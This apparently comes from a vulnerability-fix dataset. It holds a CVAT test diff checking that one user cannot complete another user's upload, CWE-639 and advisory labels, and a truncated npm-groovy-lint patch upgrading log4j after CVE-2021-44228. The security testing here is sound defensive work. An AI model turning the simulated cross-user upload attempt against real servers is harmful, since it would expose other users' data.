+@pytest.mark.usefixtures("restore_redis_inmem_per_function")
+@pytest.mark.usefixtures("restore_redis_ondisk_per_function")
+class TestUploads:
+    @fixture()
+    def project(self, projects: Container):
+        return next(p for p in projects)
+
+    @fixture()
+    def task(self, tasks: Container):
+        return next(t for t in tasks)
+
+    @fixture()
+    def job(self, jobs: Container):
+        return next(j for j in jobs if j["type"] == "annotation")
+
+    @fixture(scope="class")
+    def restore_task_api_path(self, admin_user: str):
+        with make_sdk_client(admin_user) as client:
+            return client.api_client.tasks_api.create_backup_endpoint.path
+
+    @fixture(scope="class")
+    def restore_project_api_path(self, admin_user: str):
+        with make_sdk_client(admin_user) as client:
+            return client.api_client.projects_api.create_backup_endpoint.path
+
+    @fixture(scope="class")
+    def upload_task_annotations_api_path(self, admin_user: str):
+        with make_sdk_client(admin_user) as client:
+            return client.api_client.tasks_api.create_annotations_endpoint.path
+
+    @fixture(scope="class")
+    def upload_project_dataset_api_path(self, admin_user: str):
+        with make_sdk_client(admin_user) as client:
+            return client.api_client.projects_api.create_dataset_endpoint.path
+
+    @fixture(scope="class")
+    def upload_job_annotations_api_path(self, admin_user: str):
+        with make_sdk_client(admin_user) as client:
+            return client.api_client.jobs_api.create_annotations_endpoint.path
+
+    def _find_malefactor_with_its_resource(
+        self,
+        resources: Container,
+        users: Container,
+        *,
+        get_owner_func: Callable = lambda r: r["owner"],
+        user_to_skip: Optional[int] = None,
+    ) -> Tuple[dict, int]:
+        for resource in resources:
+            malefactor = get_owner_func(resource)
+            if not users[malefactor["id"]]["is_superuser"] and malefactor["id"] != user_to_skip:
+                return malefactor, resource["id"]
+
+        assert False
+
+    @fixture()
+    def downloaded_file_path(self, tmp_path: Path):
+        return tmp_path / f"{uuid4()}.zip"
+
+    @fixture()
+    def project_backup_with_owner_and_malefactor(
+        self,
+        project: dict,
+        projects: Container,
+        downloaded_file_path: Path,
+        restore_project_api_path: str,
+        users: Container,
+    ):
+        project_id, project_owner = project["id"], project["owner"]
+        malefactor, _ = self._find_malefactor_with_its_resource(
+            projects, users, user_to_skip=project_owner["id"]
+        )
+
+        with make_sdk_client(project_owner["username"]) as client:
+            client.projects.retrieve(project_id).download_backup(downloaded_file_path)
+
+            return (
+                None,
+                downloaded_file_path,
+                project_owner,
+                malefactor,
+                None,
+                restore_project_api_path,
+                None,
+            )
+
+    @fixture()
+    def project_dataset_with_owner_and_malefactor(
+        self,
+        project: dict,
+        projects: Container,
+        downloaded_file_path: Path,
+        upload_project_dataset_api_path: str,
+        users: Container,
+    ):
+        project_id, project_owner = project["id"], project["owner"]
+
+        malefactor, malefactor_project_id = self._find_malefactor_with_its_resource(
+            projects, users, user_to_skip=project_owner["id"]
+        )
+
+        with make_sdk_client(project_owner["username"]) as client:
+            client.projects.retrieve(project_id).export_dataset(
+                "COCO 1.0", downloaded_file_path, include_images=True
+            )
+
+            return (
+                project_id,
+                downloaded_file_path,
+                project_owner,
+                malefactor,
+                malefactor_project_id,
+                upload_project_dataset_api_path,
+                {"format": "COCO 1.0"},
+            )
+
+    @fixture()
+    def task_backup_with_owner_and_malefactor(
+        self,
+        task: dict,
+        tasks: Container,
+        downloaded_file_path: Path,
+        restore_task_api_path: str,
+        users: Container,
+    ):
+        task_id = task["id"]
+        task_owner = task["owner"]
+
+        malefactor, _ = self._find_malefactor_with_its_resource(
+            tasks, users, user_to_skip=task_owner["id"]
+        )
+
+        with make_sdk_client(task_owner["username"]) as client:
+            client.tasks.retrieve(task_id).download_backup(downloaded_file_path)
+
+            return (
+                None,
+                downloaded_file_path,
+                task_owner,
+                malefactor,
+                None,
+                restore_task_api_path,
+                None,
+            )
+
+    @fixture()
+    def task_annotations_with_owner_and_malefactor(
+        self,
+        task: dict,
+        tasks: Container,
+        downloaded_file_path: Path,
+        upload_task_annotations_api_path: str,
+        users: Container,
+    ):
+        task_id = task["id"]
+        task_owner = task["owner"]
+
+        malefactor, malefactor_task_id = self._find_malefactor_with_its_resource(
+            tasks, users, user_to_skip=task_owner["id"]
+        )
+
+        with make_sdk_client(task_owner["username"]) as client:
+            client.tasks.retrieve(task_id).export_dataset(
+                "COCO 1.0", downloaded_file_path, include_images=False
+            )
+
+            return (
+                task_id,
+                downloaded_file_path,
+                task_owner,
+                malefactor,
+                malefactor_task_id,
+                upload_task_annotations_api_path,
+                {"format": "COCO 1.0"},
+            )
+
+    @fixture()
+    def job_annotations_with_owner_and_malefactor(
+        self,
+        job: dict,
+        jobs: Container,
+        tasks: Container,
+        downloaded_file_path: Path,
+        upload_job_annotations_api_path: str,
+        users: Container,
+    ):
+        job_id = job["id"]
+        job_owner = tasks[job["task_id"]]["owner"]
+
+        malefactor, malefactor_job_id = self._find_malefactor_with_its_resource(
+            jobs,
+            users,
+            user_to_skip=job_owner["id"],
+            get_owner_func=lambda x: tasks[x["task_id"]]["owner"],
+        )
+
+        with make_sdk_client(job_owner["username"]) as client:
+            client.jobs.retrieve(job_id).export_dataset(
+                "COCO 1.0", downloaded_file_path, include_images=False
+            )
+
+            return (
+                job_id,
+                downloaded_file_path,
+                job_owner,
+                malefactor,
+                malefactor_job_id,
+                upload_job_annotations_api_path,
+                {"format": "COCO 1.0"},
+            )
+
+    def _test_can_finish_upload(
+        self,
+        client: SdkClient,
+        url: str,
+        *,
+        query_params: dict[str, Any],
+    ):
+        Uploader(client)._tus_finish_upload(url, query_params=query_params)
+
+    def _test_cannot_finish_upload(
+        self,
+        client: SdkClient,
+        url: str,
+        *,
+        query_params: dict[str, Any],
+    ):
+        uploader = Uploader(client)
+
+        with pytest.raises(exceptions.ApiException) as capture:
+            uploader._tus_finish_upload(url, query_params=query_params)
+
+        assert capture.value.status == HTTPStatus.BAD_REQUEST
+        assert b"No such file were uploaded" in capture.value.body
+
+    @parametrize(
+        "resource, endpoint_path",
+        [
+            (None, fixture_ref(restore_task_api_path)),
+            (None, fixture_ref(restore_project_api_path)),
+            (fixture_ref(task), fixture_ref(upload_task_annotations_api_path)),
+            (fixture_ref(project), fixture_ref(upload_project_dataset_api_path)),
+            (fixture_ref(job), fixture_ref(upload_job_annotations_api_path)),
+        ],
+    )
+    def test_user_cannot_restore_resource_from_non_existent_uploads(
+        self, resource: dict, endpoint_path: str, admin_user: str
+    ):
+        with make_sdk_client(admin_user) as client:
+            url = client.api_map.make_endpoint_url(
+                endpoint_path, kwsub=({"id": resource["id"]} if resource else None)
+            )
+            self._test_cannot_finish_upload(
+                client, url, query_params={"filename": "non-existent-file.zip"}
+            )
+
+    @parametrize(
+        "src_resource_id, archive_path, owner, malefactor, dst_resource_id, endpoint_path, query_params",
+        [
+            (fixture_ref(task_backup_with_owner_and_malefactor)),
+            (fixture_ref(project_backup_with_owner_and_malefactor)),
+            (fixture_ref(job_annotations_with_owner_and_malefactor)),
+            (fixture_ref(task_annotations_with_owner_and_malefactor)),
+            (fixture_ref(project_dataset_with_owner_and_malefactor)),
+        ],
+    )
+    def test_user_can_use_only_own_uploads(
+        self,
+        src_resource_id: Optional[int],
+        archive_path: Path,
+        owner: dict,
+        malefactor: dict,
+        dst_resource_id: Optional[str],
+        endpoint_path: str,
+        query_params: Optional[dict],
+    ):
+        with (
+            make_sdk_client(owner["username"]) as owner_client,
+            make_sdk_client(malefactor["username"]) as malefactor_client,
+        ):
+            params = {"filename": archive_path.name}
+            pbar = NullProgressReporter()
+            url = owner_client.api_map.make_endpoint_url(
+                endpoint_path, kwsub=({"id": src_resource_id} if src_resource_id else None)
+            )
+
+            uploader = Uploader(owner_client)
+            uploader._tus_start_upload(url, query_params=params)
+            with uploader._uploading_task(pbar, archive_path.stat().st_size):
+                upload_name = uploader._upload_file_data_with_tus(
+                    url,
+                    archive_path,
+                    meta=params,
+                    logger=owner_client.logger.debug,
+                    pbar=pbar,
+                )
+
+            query_params = {"filename": upload_name, **(query_params or {})}
+
+            # check that malefactor cannot use someone else's uploaded file
+            url_to_steal = malefactor_client.api_map.make_endpoint_url(
+                endpoint_path, kwsub=({"id": dst_resource_id} if dst_resource_id else None)
+            )
+            self._test_cannot_finish_upload(
+                malefactor_client, url=url_to_steal, query_params=query_params
+            )
+
+            # check that uploaded file still exists and owner can finish started process
+            self._test_can_finish_upload(owner_client, url=url, query_params=query_params)", "url": "https://github.com/cvat-ai/cvat/commit/dbafd9c0287489bea00e1db626f64b107f90bfc9.patch" } ]
CWE-639: Authorization Bypass Through User-Controlled Key
GHSA-qc22-qwm9-j8rx
Remote Code Execution in npm-groovy-lint
null
[ { "commit_message": "[PATCH] Upgrade log4j (#195) * Upgrade log4j * [Mega-Linter] Apply linters fixes * Update CHANGELOG.md Co-authored-by: nvuillam <nvuillam@users.noreply.github.com> CHANGELOG.md | 4 + MANIFEST.txt | 2 +- lib/.groovylintrc-all.json | 788 +++++++++++++-------------- lib/codenarc-caller.js | 2 +- lib/java/log4j-api-2.13.0.jar | Bin 286262 -> 0 bytes lib/java/log4j-api-2.16.0.jar | Bin 0 -> 301892 bytes lib/java/log4j-core-2.13.0.jar | Bin 1699556 -> 0 bytes lib/java/log4j-core-2.16.0.jar | Bin 0 -> 1789565 bytes lib/java/log4j-slf4j-impl-2.13.0.jar | Bin 23586 -> 0 bytes lib/java/log4j-slf4j-impl-2.16.0.jar | Bin 0 -> 24258 bytes package.json | 2 +- 11 files changed, 401 insertions(+), 397 deletions(-) delete mode 100644 lib/java/log4j-api-2.13.0.jar create mode 100644 lib/java/log4j-api-2.16.0.jar delete mode 100644 lib/java/log4j-core-2.13.0.jar create mode 100644 lib/java/log4j-core-2.16.0.jar delete mode 100644 lib/java/log4j-slf4j-impl-2.13.0.jar create mode 100644 lib/java/log4j-slf4j-impl-2.16.0.jar", "patch_text_b64": "From 0b664519019442052e0190170c2b1c5aff7d72e7 Mon Sep 17 00:00:00 2001
From: Nicolas Vuillamy <nicolas.vuillamy@gmail.com>
Date: Tue, 14 Dec 2021 08:16:31 +0100
Subject: [PATCH] Upgrade log4j (#195)

* Upgrade log4j

* [Mega-Linter] Apply linters fixes

* Update CHANGELOG.md

Co-authored-by: nvuillam <nvuillam@users.noreply.github.com>
---
 CHANGELOG.md                         |   4 +
 MANIFEST.txt                         |   2 +-
 lib/.groovylintrc-all.json           | 788 +++++++++++++--------------
 lib/codenarc-caller.js               |   2 +-
 lib/java/log4j-api-2.13.0.jar        | Bin 286262 -> 0 bytes
 lib/java/log4j-api-2.16.0.jar        | Bin 0 -> 301892 bytes
 lib/java/log4j-core-2.13.0.jar       | Bin 1699556 -> 0 bytes
 lib/java/log4j-core-2.16.0.jar       | Bin 0 -> 1789565 bytes
 lib/java/log4j-slf4j-impl-2.13.0.jar | Bin 23586 -> 0 bytes
 lib/java/log4j-slf4j-impl-2.16.0.jar | Bin 0 -> 24258 bytes
 package.json                         |   2 +-
 11 files changed, 401 insertions(+), 397 deletions(-)
 delete mode 100644 lib/java/log4j-api-2.13.0.jar
 create mode 100644 lib/java/log4j-api-2.16.0.jar
 delete mode 100644 lib/java/log4j-core-2.13.0.jar
 create mode 100644 lib/java/log4j-core-2.16.0.jar
 delete mode 100644 lib/java/log4j-slf4j-impl-2.13.0.jar
 create mode 100644 lib/java/log4j-slf4j-impl-2.16.0.jar

diff --git a/CHANGELOG.md b/CHANGELOG.md
index 8e7c0301..9c06db2e 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -2,6 +2,10 @@
 
 ## UNRELEASED
 
+## [9.1.0] 2021-12-14
+
+- Upgrade log4j dependencies because of [security issue](https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/) (#194)
+
 ## [9.0.0] 2021-09-30
 
 - Upgrade to [CodeNarc v2.2.0](https://github.com/CodeNarc/CodeNarc/releases/tag/v2.2.0)
diff --git a/MANIFEST.txt b/MANIFEST.txt
index 89c0f465..dd20da2c 100644
--- a/MANIFEST.txt
+++ b/MANIFEST.txt
@@ -1,4 +1,4 @@
 Manifest-Version: 1.0
 Created-By: 1.8.0_144 (Oracle Corporation)
 Main-Class: com.nvuillam.CodeNarcServer
-Class-Path: CodeNarc-2.2.0.jar groovy/lib/groovy-3.0.9.jar groovy/lib/groovy-templates-3.0.9.jar groovy/lib/groovy-xml-3.0.9.jar groovy/lib/groovy-json-3.0.9.jar groovy/lib/groovy-ant-3.0.9.jar groovy/lib/ant-1.10.11.jar groovy/lib/ant-launcher-1.10.11.jar slf4j-api-1.7.9.jar log4j-slf4j-impl-2.13.0.jar log4j-api-2.13.0.jar log4j-core-2.13.0.jar gmetrics-1.1.jar
+Class-Path: CodeNarc-2.2.0.jar groovy/lib/groovy-3.0.9.jar groovy/lib/groovy-templates-3.0.9.jar groovy/lib/groovy-xml-3.0.9.jar groovy/lib/groovy-json-3.0.9.jar groovy/lib/groovy-ant-3.0.9.jar groovy/lib/ant-1.10.11.jar groovy/lib/ant-launcher-1.10.11.jar slf4j-api-1.7.9.jar log4j-slf4j-impl-2.16.0.jar log4j-api-2.16.0.jar log4j-core-2.16.0.jar gmetrics-1.1.jar
diff --git a/lib/.groovylintrc-all.json b/lib/.groovylintrc-all.json
index 24bbb051..fab29e5d 100644
--- a/lib/.groovylintrc-all.json
+++ b/lib/.groovylintrc-all.json
@@ -1,395 +1,395 @@
 {
-    "rules": {
-        "basic.AssertWithinFinallyBlock": {},
-        "basic.AssignmentInConditional": {},
-        "basic.BigDecimalInstantiation": {},
-        "basic.BitwiseOperatorInConditional": {},
-        "basic.BooleanGetBoolean": {},
-        "basic.BrokenNullCheck": {},
-        "basic.BrokenOddnessCheck": {},
-        "basic.ClassForName": {},
-        "basic.ComparisonOfTwoConstants": {},
-        "basic.ComparisonWithSelf": {},
-        "basic.ConstantAssertExpression": {},
-        "basic.ConstantIfExpression": {},
-        "basic.ConstantTernaryExpression": {},
-        "basic.DeadCode": {},
-        "basic.DoubleNegative": {},
-        "basic.DuplicateCaseStatement": {},
-        "basic.DuplicateMapKey": {},
-        "basic.DuplicateSetValue": {},
-        "basic.EmptyCatchBlock": {},
-        "basic.EmptyClass": {},
-        "basic.EmptyElseBlock": {},
-        "basic.EmptyFinallyBlock": {},
-        "basic.EmptyForStatement": {},
-        "basic.EmptyIfStatement": {},
-        "basic.EmptyInstanceInitializer": {},
-        "basic.EmptyMethod": {},
-        "basic.EmptyStaticInitializer": {},
-        "basic.EmptySwitchStatement": {},
-        "basic.EmptySynchronizedStatement": {},
-        "basic.EmptyTryBlock": {},
-        "basic.EmptyWhileStatement": {},
-        "basic.EqualsAndHashCode": {},
-        "basic.EqualsOverloaded": {},
-        "basic.ExplicitGarbageCollection": {},
-        "basic.ForLoopShouldBeWhileLoop": {},
-        "basic.HardCodedWindowsFileSeparator": {},
-        "basic.HardCodedWindowsRootDirectory": {},
-        "basic.IntegerGetInteger": {},
-        "basic.MultipleUnaryOperators": {},
-        "basic.ParameterAssignmentInFilterClosure": {},
-        "basic.RandomDoubleCoercedToZero": {},
-        "basic.RemoveAllOnSelf": {},
-        "basic.ReturnFromFinallyBlock": {},
-        "basic.ThrowExceptionFromFinallyBlock": {},
-        "braces.ElseBlockBraces": {},
-        "braces.ForStatementBraces": {},
-        "braces.IfStatementBraces": {},
-        "braces.WhileStatementBraces": {},
-        "comments.ClassJavadoc": {},
-        "comments.JavadocConsecutiveEmptyLines": {},
-        "comments.JavadocEmptyAuthorTag": {},
-        "comments.JavadocEmptyExceptionTag": {},
-        "comments.JavadocEmptyFirstLine": {},
-        "comments.JavadocEmptyLastLine": {},
-        "comments.JavadocEmptyParamTag": {},
-        "comments.JavadocEmptyReturnTag": {},
-        "comments.JavadocEmptySeeTag": {},
-        "comments.JavadocEmptySinceTag": {},
-        "comments.JavadocEmptyThrowsTag": {},
-        "comments.JavadocEmptyVersionTag": {},
-        "comments.JavadocMissingExceptionDescription": {},
-        "comments.JavadocMissingParamDescription": {},
-        "comments.JavadocMissingThrowsDescription": {},
-        "concurrency.BusyWait": {},
-        "concurrency.DoubleCheckedLocking": {},
-        "concurrency.InconsistentPropertyLocking": {},
-        "concurrency.InconsistentPropertySynchronization": {},
-        "concurrency.NestedSynchronization": {},
-        "concurrency.StaticCalendarField": {},
-        "concurrency.StaticConnection": {},
-        "concurrency.StaticDateFormatField": {},
-        "concurrency.StaticMatcherField": {},
-        "concurrency.StaticSimpleDateFormatField": {},
-        "concurrency.SynchronizedMethod": {},
-        "concurrency.SynchronizedOnBoxedPrimitive": {},
-        "concurrency.SynchronizedOnGetClass": {},
-        "concurrency.SynchronizedOnReentrantLock": {},
-        "concurrency.SynchronizedOnString": {},
-        "concurrency.SynchronizedOnThis": {},
-        "concurrency.SynchronizedReadObjectMethod": {},
-        "concurrency.SystemRunFinalizersOnExit": {},
-        "concurrency.ThisReferenceEscapesConstructor": {},
-        "concurrency.ThreadGroup": {},
-        "concurrency.ThreadLocalNotStaticFinal": {},
-        "concurrency.ThreadYield": {},
-        "concurrency.UseOfNotifyMethod": {},
-        "concurrency.VolatileArrayField": {},
-        "concurrency.VolatileLongOrDoubleField": {},
-        "concurrency.WaitOutsideOfWhileLoop": {},
-        "convention.CompileStatic": {},
-        "convention.ConfusingTernary": {},
-        "convention.CouldBeElvis": {},
-        "convention.CouldBeSwitchStatement": {},
-        "convention.FieldTypeRequired": {},
-        "convention.HashtableIsObsolete": {},
-        "convention.IfStatementCouldBeTernary": {},
-        "convention.ImplicitClosureParameter": {},
-        "convention.ImplicitReturnStatement": {},
-        "convention.InvertedCondition": {},
-        "convention.InvertedIfElse": {},
-        "convention.LongLiteralWithLowerCaseL": {},
-        "convention.MethodParameterTypeRequired": {},
-        "convention.MethodReturnTypeRequired": {},
-        "convention.NoDef": {},
-        "convention.NoDouble": {},
-        "convention.NoFloat": {},
-        "convention.NoJavaUtilDate": {},
-        "convention.NoTabCharacter": {},
-        "convention.ParameterReassignment": {},
-        "convention.PublicMethodsBeforeNonPublicMethods": {},
-        "convention.StaticFieldsBeforeInstanceFields": {},
-        "convention.StaticMethodsBeforeInstanceMethods": {},
-        "convention.TernaryCouldBeElvis": {},
-        "convention.TrailingComma": {},
-        "convention.VariableTypeRequired": {},
-        "convention.VectorIsObsolete": {},
-        "design.AbstractClassWithPublicConstructor": {},
-        "design.AbstractClassWithoutAbstractMethod": {},
-        "design.AssignmentToStaticFieldFromInstanceMethod": {},
-        "design.BooleanMethodReturnsNull": {},
-        "design.BuilderMethodWithSideEffects": {},
-        "design.CloneableWithoutClone": {},
-        "design.CloseWithoutCloseable": {},
-        "design.CompareToWithoutComparable": {},
-        "design.ConstantsOnlyInterface": {},
-        "design.EmptyMethodInAbstractClass": {},
-        "design.FinalClassWithProtectedMember": {},
-        "design.ImplementationAsType": {},
-        "design.Instanceof": {},
-        "design.LocaleSetDefault": {},
-        "design.NestedForLoop": {},
-        "design.OptionalCollectionReturnType": {},
-        "design.OptionalField": {},
-        "design.OptionalMethodParameter": {},
-        "design.PrivateFieldCouldBeFinal": {},
-        "design.PublicInstanceField": {},
-        "design.ReturnsNullInsteadOfEmptyArray": {},
-        "design.ReturnsNullInsteadOfEmptyCollection": {},
-        "design.SimpleDateFormatMissingLocale": {},
-        "design.StatelessSingleton": {},
-        "design.ToStringReturnsNull": {},
-        "dry.DuplicateListLiteral": {},
-        "dry.DuplicateMapLiteral": {},
-        "dry.DuplicateNumberLiteral": {},
-        "dry.DuplicateStringLiteral": {},
-        "enhanced.CloneWithoutCloneable": {},
-        "enhanced.JUnitAssertEqualsConstantActualValue": {},
-        "enhanced.MissingOverrideAnnotation": {},
-        "enhanced.UnsafeImplementationAsMap": {},
-        "exceptions.CatchArrayIndexOutOfBoundsException": {},
-        "exceptions.CatchError": {},
-        "exceptions.CatchException": {},
-        "exceptions.CatchIllegalMonitorStateException": {},
-        "exceptions.CatchIndexOutOfBoundsException": {},
-        "exceptions.CatchNullPointerException": {},
-        "exceptions.CatchRuntimeException": {},
-        "exceptions.CatchThrowable": {},
-        "exceptions.ConfusingClassNamedException": {},
-        "exceptions.ExceptionExtendsError": {},
-        "exceptions.ExceptionExtendsThrowable": {},
-        "exceptions.ExceptionNotThrown": {},
-        "exceptions.MissingNewInThrowStatement": {},
-        "exceptions.ReturnNullFromCatchBlock": {},
-        "exceptions.SwallowThreadDeath": {},
-        "exceptions.ThrowError": {},
-        "exceptions.ThrowException": {},
-        "exceptions.ThrowNullPointerException": {},
-        "exceptions.ThrowRuntimeException": {},
-        "exceptions.ThrowThrowable": {},
-        "formatting.BlankLineBeforePackage": {},
-        "formatting.BlockEndsWithBlankLine": {},
-        "formatting.BlockStartsWithBlankLine": {},
-        "formatting.BracesForClass": {},
-        "formatting.BracesForForLoop": {},
-        "formatting.BracesForIfElse": {},
-        "formatting.BracesForMethod": {},
-        "formatting.BracesForTryCatchFinally": {},
-        "formatting.ClassEndsWithBlankLine": {},
-        "formatting.ClassStartsWithBlankLine": {},
-        "formatting.ClosureStatementOnOpeningLineOfMultipleLineClosure": {},
-        "formatting.ConsecutiveBlankLines": {},
-        "formatting.FileEndsWithoutNewline": {},
-        "formatting.Indentation": {},
-        "formatting.LineLength": {},
-        "formatting.MissingBlankLineAfterImports": {},
-        "formatting.MissingBlankLineAfterPackage": {},
-        "formatting.MissingBlankLineBeforeAnnotatedField": {},
-        "formatting.SpaceAfterCatch": {},
-        "formatting.SpaceAfterClosingBrace": {},
-        "formatting.SpaceAfterComma": {},
-        "formatting.SpaceAfterFor": {},
-        "formatting.SpaceAfterIf": {},
-        "formatting.SpaceAfterMethodCallName": {},
-        "formatting.SpaceAfterMethodDeclarationName": {},
-        "formatting.SpaceAfterNotOperator": {},
-        "formatting.SpaceAfterOpeningBrace": {},
-        "formatting.SpaceAfterSemicolon": {},
-        "formatting.SpaceAfterSwitch": {},
-        "formatting.SpaceAfterWhile": {},
-        "formatting.SpaceAroundClosureArrow": {},
-        "formatting.SpaceAroundMapEntryColon": {},
-        "formatting.SpaceAroundOperator": {},
-        "formatting.SpaceBeforeClosingBrace": {},
-        "formatting.SpaceBeforeOpeningBrace": {},
-        "formatting.SpaceInsideParentheses": {},
-        "formatting.TrailingWhitespace": {},
-        "generic.IllegalClassMember": {},
-        "generic.IllegalClassReference": {},
-        "generic.IllegalPackageReference": {},
-        "generic.IllegalRegex": {},
-        "generic.IllegalString": {},
-        "generic.IllegalSubclass": {},
-        "generic.RequiredRegex": {},
-        "generic.RequiredString": {},
-        "generic.StatelessClass": {},
-        "grails.GrailsDomainGormMethods": {},
-        "grails.GrailsDomainHasEquals": {},
-        "grails.GrailsDomainHasToString": {},
-        "grails.GrailsDomainReservedSqlKeywordName": {},
-        "grails.GrailsDomainStringPropertyMaxSize": {},
-        "grails.GrailsDomainWithServiceReference": {},
-        "grails.GrailsDuplicateConstraint": {},
-        "grails.GrailsDuplicateMapping": {},
-        "grails.GrailsMassAssignment": {},
-        "grails.GrailsPublicControllerMethod": {},
-        "grails.GrailsServletContextReference": {},
-        "grails.GrailsStatelessService": {},
-        "groovyism.AssignCollectionSort": {},
-        "groovyism.AssignCollectionUnique": {},
-        "groovyism.ClosureAsLastMethodParameter": {},
-        "groovyism.CollectAllIsDeprecated": {},
-        "groovyism.ConfusingMultipleReturns": {},
-        "groovyism.ExplicitArrayListInstantiation": {},
-        "groovyism.ExplicitCallToAndMethod": {},
-        "groovyism.ExplicitCallToCompareToMethod": {},
-        "groovyism.ExplicitCallToDivMethod": {},
-        "groovyism.ExplicitCallToEqualsMethod": {},
-        "groovyism.ExplicitCallToGetAtMethod": {},
-        "groovyism.ExplicitCallToLeftShiftMethod": {},
-        "groovyism.ExplicitCallToMinusMethod": {},
-        "groovyism.ExplicitCallToModMethod": {},
-        "groovyism.ExplicitCallToMultiplyMethod": {},
-        "groovyism.ExplicitCallToOrMethod": {},
-        "groovyism.ExplicitCallToPlusMethod": {},
-        "groovyism.ExplicitCallToPowerMethod": {},
-        "groovyism.ExplicitCallToPutAtMethod": {},
-        "groovyism.ExplicitCallToRightShiftMethod": {},
-        "groovyism.ExplicitCallToXorMethod": {},
-        "groovyism.ExplicitHashMapInstantiation": {},
-        "groovyism.ExplicitHashSetInstantiation": {},
-        "groovyism.ExplicitLinkedHashMapInstantiation": {},
-        "groovyism.ExplicitLinkedListInstantiation": {},
-        "groovyism.ExplicitStackInstantiation": {},
-        "groovyism.ExplicitTreeSetInstantiation": {},
-        "groovyism.GStringAsMapKey": {},
-        "groovyism.GStringExpressionWithinString": {},
-        "groovyism.GetterMethodCouldBeProperty": {},
-        "groovyism.GroovyLangImmutable": {},
-        "groovyism.UseCollectMany": {},
-        "groovyism.UseCollectNested": {},
-        "imports.DuplicateImport": {},
-        "imports.ImportFromSamePackage": {},
-        "imports.ImportFromSunPackages": {},
-        "imports.MisorderedStaticImports": {},
-        "imports.NoWildcardImports": {},
-        "imports.UnnecessaryGroovyImport": {},
-        "imports.UnusedImport": {},
-        "jdbc.DirectConnectionManagement": {},
-        "jdbc.JdbcConnectionReference": {},
-        "jdbc.JdbcResultSetReference": {},
-        "jdbc.JdbcStatementReference": {},
-        "junit.ChainedTest": {},
-        "junit.CoupledTestCase": {},
-        "junit.JUnitAssertAlwaysFails": {},
-        "junit.JUnitAssertAlwaysSucceeds": {},
-        "junit.JUnitFailWithoutMessage": {},
-        "junit.JUnitLostTest": {},
-        "junit.JUnitPublicField": {},
-        "junit.JUnitPublicNonTestMethod": {},
-        "junit.JUnitPublicProperty": {},
-        "junit.JUnitSetUpCallsSuper": {},
-        "junit.JUnitStyleAssertions": {},
-        "junit.JUnitTearDownCallsSuper": {},
-        "junit.JUnitTestMethodWithoutAssert": {},
-        "junit.JUnitUnnecessarySetUp": {},
-        "junit.JUnitUnnecessaryTearDown": {},
-        "junit.JUnitUnnecessaryThrowsException": {},
-        "junit.SpockIgnoreRestUsed": {},
-        "junit.UnnecessaryFail": {},
-        "junit.UseAssertEqualsInsteadOfAssertTrue": {},
-        "junit.UseAssertFalseInsteadOfNegation": {},
-        "junit.UseAssertNullInsteadOfAssertEquals": {},
-        "junit.UseAssertSameInsteadOfAssertTrue": {},
-        "junit.UseAssertTrueInsteadOfAssertEquals": {},
-        "junit.UseAssertTrueInsteadOfNegation": {},
-        "logging.LoggerForDifferentClass": {},
-        "logging.LoggerWithWrongModifiers": {},
-        "logging.LoggingSwallowsStacktrace": {},
-        "logging.MultipleLoggers": {},
-        "logging.PrintStackTrace": {},
-        "logging.Println": {},
-        "logging.SystemErrPrint": {},
-        "logging.SystemOutPrint": {},
-        "naming.AbstractClassName": {},
-        "naming.ClassName": {},
-        "naming.ClassNameSameAsFilename": {},
-        "naming.ClassNameSameAsSuperclass": {},
-        "naming.ConfusingMethodName": {},
-        "naming.FactoryMethodName": {},
-        "naming.FieldName": {},
-        "naming.InterfaceName": {},
-        "naming.InterfaceNameSameAsSuperInterface": {},
-        "naming.MethodName": {},
-        "naming.ObjectOverrideMisspelledMethodName": {},
-        "naming.PackageName": {},
-        "naming.PackageNameMatchesFilePath": {},
-        "naming.ParameterName": {},
-        "naming.PropertyName": {},
-        "naming.VariableName": {},
-        "security.FileCreateTempFile": {},
-        "security.InsecureRandom": {},
-        "security.JavaIoPackageAccess": {},
-        "security.NonFinalPublicField": {},
-        "security.NonFinalSubclassOfSensitiveInterface": {},
-        "security.ObjectFinalize": {},
-        "security.PublicFinalizeMethod": {},
-        "security.SystemExit": {},
-        "security.UnsafeArrayDeclaration": {},
-        "serialization.EnumCustomSerializationIgnored": {},
-        "serialization.SerialPersistentFields": {},
-        "serialization.SerialVersionUID": {},
-        "serialization.SerializableClassMustDefineSerialVersionUID": {},
-        "size.ClassSize": {},
-        "size.MethodCount": {},
-        "size.MethodSize": {},
-        "size.NestedBlockDepth": {},
-        "size.ParameterCount": {},
-        "unnecessary.AddEmptyString": {},
-        "unnecessary.ConsecutiveLiteralAppends": {},
-        "unnecessary.ConsecutiveStringConcatenation": {},
-        "unnecessary.UnnecessaryBigDecimalInstantiation": {},
-        "unnecessary.UnnecessaryBigIntegerInstantiation": {},
-        "unnecessary.UnnecessaryBooleanExpression": {},
-        "unnecessary.UnnecessaryBooleanInstantiation": {},
-        "unnecessary.UnnecessaryCallForLastElement": {},
-        "unnecessary.UnnecessaryCallToSubstring": {},
-        "unnecessary.UnnecessaryCast": {},
-        "unnecessary.UnnecessaryCatchBlock": {},
-        "unnecessary.UnnecessaryCollectCall": {},
-        "unnecessary.UnnecessaryCollectionCall": {},
-        "unnecessary.UnnecessaryConstructor": {},
-        "unnecessary.UnnecessaryDefInFieldDeclaration": {},
-        "unnecessary.UnnecessaryDefInMethodDeclaration": {},
-        "unnecessary.UnnecessaryDefInVariableDeclaration": {},
-        "unnecessary.UnnecessaryDotClass": {},
-        "unnecessary.UnnecessaryDoubleInstantiation": {},
-        "unnecessary.UnnecessaryElseStatement": {},
-        "unnecessary.UnnecessaryFinalOnPrivateMethod": {},
-        "unnecessary.UnnecessaryFloatInstantiation": {},
-        "unnecessary.UnnecessaryGString": {},
-        "unnecessary.UnnecessaryGetter": {},
-        "unnecessary.UnnecessaryIfStatement": {},
-        "unnecessary.UnnecessaryInstanceOfCheck": {},
-        "unnecessary.UnnecessaryInstantiationToGetClass": {},
-        "unnecessary.UnnecessaryIntegerInstantiation": {},
-        "unnecessary.UnnecessaryLongInstantiation": {},
-        "unnecessary.UnnecessaryModOne": {},
-        "unnecessary.UnnecessaryNullCheck": {},
-        "unnecessary.UnnecessaryNullCheckBeforeInstanceOf": {},
-        "unnecessary.UnnecessaryObjectReferences": {},
-        "unnecessary.UnnecessaryOverridingMethod": {},
-        "unnecessary.UnnecessaryPackageReference": {},
-        "unnecessary.UnnecessaryParenthesesForMethodCallWithClosure": {},
-        "unnecessary.UnnecessaryPublicModifier": {},
-        "unnecessary.UnnecessaryReturnKeyword": {},
